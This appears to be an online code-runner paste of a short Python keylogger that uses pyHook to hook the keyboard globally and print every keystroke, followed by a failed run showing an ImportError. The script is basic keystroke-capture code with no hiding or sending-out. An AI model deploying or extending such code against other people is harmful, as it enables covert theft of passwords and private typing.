fork download
  1. import pythoncom
  2. import pyHook
  3.  
  4.  
  5. def key_event(event):
  6. if event.Ascii != 0:
  7. keylog = chr(int(event.Ascii))
  8. if int(event.Ascii) == 13:
  9. keylog = '\n'
  10. print(keylog)
  11. return True
  12.  
  13. hm = pyHook.HookManager()
  14. hm.KeyDown = key_event
  15. hm.HookKeyboard()
  16. pythoncom.PumpMessages()
Runtime error #stdin #stdout #stderr 0.02s 9984KB
stdin
Standard input is empty
stdout
Standard output is empty
stderr
Traceback (most recent call last):
  File "./prog.py", line 1, in <module>
ImportError: No module named 'pythoncom'